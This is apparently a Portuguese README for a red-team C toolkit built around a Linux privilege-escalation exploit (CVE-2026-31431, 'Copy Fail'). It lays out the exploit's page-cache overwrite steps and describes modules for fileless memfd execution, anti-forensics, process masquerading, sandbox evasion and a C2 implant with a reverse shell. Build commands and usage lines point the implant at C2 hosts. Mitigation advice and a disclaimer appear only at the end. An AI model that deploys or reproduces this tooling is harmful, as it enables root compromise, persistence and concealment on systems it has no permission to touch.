Copy Fail -- CVE-2026-31431

Implementação C endurecida para operações de redteam e testes de penetração autorizados.

⚠️ Aviso Legal: Esta ferramenta destina-se exclusivamente a pesquisas de segurança autorizadas, testes de penetração autorizados e análises defensivas. Utilize apenas em sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. O acesso não autorizado a sistemas de computador é ilegal.

🚀 Desenvolvimento primário movido para GitLab.
Este repositório é mantido ativamente aqui. Para problemas e contribuições, use o GitLab.

Índice

• Visão Geral
• Pesquisa Original
• Nossas Melhorias
• Arquitetura
• Compilação
• Uso
• Módulos
• Segurança Operacional
• Detecção e Mitigação
• Créditos
• Licença

Visão Geral

Este projeto é uma porta C endurecida e pronta para produção do exploit de escalonamento de privilégio local CVE-2026-31431 ("Copy Fail"), originalmente divulgado por Theori e Xint em 29 de abril de 2026.

O proof-of-concept original foi escrito em Python e projetado para demonstração de pesquisa. Esta implementação o transforma em um kit de ferramentas de nível redteam com:

• Zero artefatos em disco (execução sem arquivos baseada em memfd)
• Descoberta automática de alvos (enumeração de binários setuid com consciência MAC)
• Anti-forense (remoção de cache, restauração de timestamps, autodestruição)
• Controle do operador (execução acionada por sinal com timeouts configuráveis)
• Compilações estáticas multiplataforma (x86_64, ARM64, RISC-V via musl/zig)

Pesquisa Original

CVE-2026-31431: Copy Fail

Mecanismo da Vulnerabilidade

A vulnerabilidade reside no subsistema criptográfico AF_ALG do kernel Linux. O template AEAD authencesn implementa uma otimização in-place para descriptografia: quando o texto cifrado é fornecido via splice() a partir do cache de páginas de um arquivo, o kernel reutiliza a mesma página como fonte e destino.

O fluxo de ataque:

1. Abrir um binário setuid (ex.: /usr/bin/su) como somente leitura
2. Configurar uma operação AEAD authencesn(hmac(sha256),cbc(aes)) via AF_ALG
3. Fornecer texto cifrado via splice() a partir do cache de páginas do arquivo alvo
4. A operação de descriptografia (com falha) sobrescreve 4 bytes da página do cache de páginas antes que a autenticação a rejeite
5. Repetir para cada janela de 4 bytes da carga útil
6. Executar execve() no alvo -- o kernel carrega as páginas mutadas do cache, concede credenciais setuid-root
7. A carga útil pivota para um shell root completo

Insight chave: O inode no disco nunca é modificado. Apenas o cache de páginas na memória é mutado, tornando a detecção forense significativamente mais difícil do que exploits tradicionais de sobrescrita de arquivos.

Nossas Melhorias

Este projeto estende a pesquisa original com endurecimento orientado a redteam em nove módulos.

1. Primitiva de Exploit Endurecida (patch_chunk.c)

2. Descoberta Automática de Alvos (target_discovery.c)

• Varredura em três fases: alvos prioritários → diretórios padrão → varredura profunda
• Pontuação com consciência MAC: penaliza binários com perfis AppArmor/SELinux
• 18 alvos prioritários: su, sudo, passwd, pkexec, mount, ping, etc.
• Cadeia de fallback: se o alvo primário falhar, seleciona automaticamente o próximo melhor candidato
• Consciência de Snap: ignora /snap (setuid não tradicional)

3. Suite Anti-Forense (anti_forensics.c)

4. Execução Sem Arquivos (memfd_exec.c)

• memfd_create + fexecve: executar sem caminho no sistema de arquivos
• Camuflagem: memfd nomeado como kworker, anon_inode, eventfd (se mistura em /proc/$pid/fd/)
• Fork-e-esqueça: duplo fork para criar processo órfão (PPID=1)
• Descriptografia em memória: XOR e RC4 descriptografa-depois-executa (carga útil nunca em texto simples no disco)

5. Entrega de Carga Útil Estágio-1 (stage1.c)

6. Implante C2 Estágio-2 (stage2_template.c)

• Loop de reconexão resiliente com backoff exponencial
• Três distribuições: uniforme, triangular, jitter exponencial
• Controle por sinal: SIGUSR1 (acionar), SIGUSR2 (status), SIGTERM (desligar)
• Sinalização DNS: verificação de saúde C2 furtiva antes da conexão TCP
• Mascaramento de processo: [kworker/N:0] no ps/top

7. Ocultação de Processo (proc_hide.c)

• Sobrescrita de argv[0]: substituição in-place de /proc/$pid/cmdline
• prctl(PR_SET_NAME): nomes estilo thread do kernel (limite de 16 bytes)
• Sanitização de ambiente: limpeza seletiva de SSH_*, AWS_*, TOKEN*, etc.
• Desvinculação do pai: setsid() + setpgid() para independência do terminal

8. Controle de Acionamento por Sinal (signal_trigger.c)

Espera com zero CPU: sigsuspend() em vez de loops de polling.

9. Jitter de Sono (sleep_jitter.c)

• Três backends RNG: getrandom(2), /dev/urandom, fallback rdtsc
• Amostragem por rejeição: elimina viés de módulo na distribuição uniforme
• Compensação de deriva: sleep_scheduled() mantém intervalo médio apesar do jitter
• Detecção de sandbox: check_sandbox_acceleration() detecta sleep() corrigida

Arquitetura

┌─────────────────────────────────────────────────────────────┐
│                     exploit.c (Orquestrador)                 │
│  ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐          │
│  │  Ocultar │ │Descobrir│ │ Explorar│ │ Limpar │          │
│  │ Processo│ │ Alvo    │ │         │ │        │          │
│  └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘          │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              Camada de Módulos Core                   │  │
│  │  patch_chunk.c  target_discovery.c  anti_forensics.c  │  │
│  └─────────────────────────────────────────────────────┘  │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              Camada de Entrega e Evasão              │  │
│  │  stage1.c  memfd_exec.c  proc_hide.c                │  │
│  │  signal_trigger.c  sleep_jitter.c                   │  │
│  └─────────────────────────────────────────────────────┘  │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              Camada de Carga Útil (Estágio-2)       │  │
│  │  stage2_template.c  (reverse shell / implante C2)   │  │
│  └─────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────┘

Compilação

Requisitos

• GCC ou Clang
• GNU Make
• Cabeçalhos Linux (linux-libc-dev ou equivalente)
• Opcional: musl-tools (para compilações estáticas pequenas)
• Opcional: zig (para cross-compilação moderna)
• Opcional: dpkg-deb (para empacotamento Debian)

Início Rápido

# Compilação redteam padrão (otimizada, stripped, estática)
make redteam

# Compilação pentest (símbolos, otimização moderada)
make pentest

# Compilação debug (ASAN, símbolos completos)
make debug

# Verificador de vulnerabilidade (não destrutivo)
make checker

Cross-Compilação

# ARM64 (alvos em nuvem AWS/Azure)
make cross-arm64

# RISC-V
make cross-riscv

# ARM HF (embarcados/IoT)
make cross-armhf

# Cross-compilação Zig (sem instalação de toolchain)
make cross-zig-arm64
make cross-zig-riscv

Compilação Estática musl (Binários Minúsculos)

make musl-static
# Produz binários estáticos de ~50-100 KB com dependência zero de glibc

Pacote Debian

make deb VERSION=1.0.0
# Produz: build/deb/copy-fail-cve-2026-31431-1.0.0.deb

Informações da Compilação

make info
# Mostra: CC, CFLAGS, LDFLAGS, arquitetura, disponibilidade de toolchain

Uso

Modo Padrão (Acionado por Sinal)

# Implantar implante
./exploit &
IMP_PID=$!

# Acionar exploração remotamente
kill -USR1 $IMP_PID

# Solicitar status (nenhuma ação)
kill -USR2 $IMP_PID

# Desligamento gracioso
kill -TERM $IMP_PID

Execução Imediata

./exploit -t                    # Acionar agora, sem espera de sinal
./exploit -t -c c2.example.com -p 9999

Configuração Personalizada

./exploit \
  -c c2.redteam.internal \      # Hostname C2
  -p 4444 \                      # Porta C2
  -d 300 \                       # Atraso inicial de 5 minutos
  -T 7200 \                      # Timeout de acionamento de 2 horas
  -n                             # Pular verificação de vulnerabilidade

Verificação de Vulnerabilidade Não Destrutiva

./vulnerable
# Código de saída: 100 = vulnerável, 0 = corrigido, outro = erro

Módulos

Segurança Operacional

Melhores Práticas para Redteam

1. Implantar durante períodos de baixa atividade para minimizar correlação
2. Usar jitter exponencial para intervalos de reconexão (evita detecção de beaconing)
3. Acionar via SIGUSR1 em vez de auto-acionamento (operador mantém controle)
4. Sempre executar limpeza (full_cleanup) mesmo se o exploit falhar
5. Preferir execução memfd em vez de cargas úteis em disco
6. Duplo fork para persistência (memfd_fork_exec_detach)
7. Monitorar aceleração de sandbox antes de executar

Artefatos Forenses

Detecção e Mitigação

Detecção Defensiva

Mitigações

1. Patch do kernel: Atualize para Linux >= 6.14 com commit a664bf3d603d
2. Livepatch: Aplique backport específico da distribuição
3. SELinux/AppArmor: Imponha perfis em binários setuid
4. Monitoramento eBPF: Rastreie combinações AF_ALG + splice()
5. Verificação do cache de páginas: Verificações periódicas de integridade em binários críticos

Créditos

Pesquisa Original

• Theori -- Jinoh Kang, Yonghwi Jin, Seunghyun Lee
• Xint -- Divulgação colaborativa
• Artigo: https://copy.fail/
• PoC Original: theori-io/copy-fail-CVE-2026-31431

Porta C Base

• Tony Gies -- tgies/copy-fail-c
• Forneceu a implementação C fundamental usando nolibc
• Wrappers de syscall multiplataforma e infraestrutura de compilação

Este Fork Endurecido

• Endurecimento orientado a redteam em 9 módulos
• Recursos de segurança operacional (anti-forense, evasão, furtividade)
• Suporte a cross-compilação (musl, zig, multi-arquitetura)
• Controle de operador baseado em sinal e modos de execução configuráveis

Agradecimentos

• Desenvolvedores do kernel Linux por memfd_create(2) e fexecve(3)
• Mantenedores do nolibc pela alternativa de libc somente cabeçalho
• Projeto musl libc por binários estáticos pequenos
• Projeto Zig pela toolchain moderna de cross-compilação

Licença

Este projeto é licenciado duplamente sob:

• LGPL-2.1-or-later
• MIT

Consulte arquivos de origem individuais para identificadores SPDX.

A pesquisa original e a porta C base permanecem sob suas respectivas licenças. O código adicional deste fork é fornecido sob a licença dupla acima para máxima compatibilidade com casos de uso de pesquisa de segurança de código aberto e comercial.

Aviso Legal

Este software é fornecido para pesquisa de segurança autorizada e testes de penetração autorizados apenas. Os autores não assumem responsabilidade por uso indevido ou danos causados por este software. Sempre obtenha autorização adequada antes de testar qualquer sistema que você não possua.

Se você descobrir esta vulnerabilidade em seus sistemas:

• Aplique o patch do kernel (commit a664bf3d603d ou backport da distribuição)
• Monitore indicadores de comprometimento (IoCs) listados acima
• Revise /var/log/audit/ e telemetria EDR para anomalias AF_ALG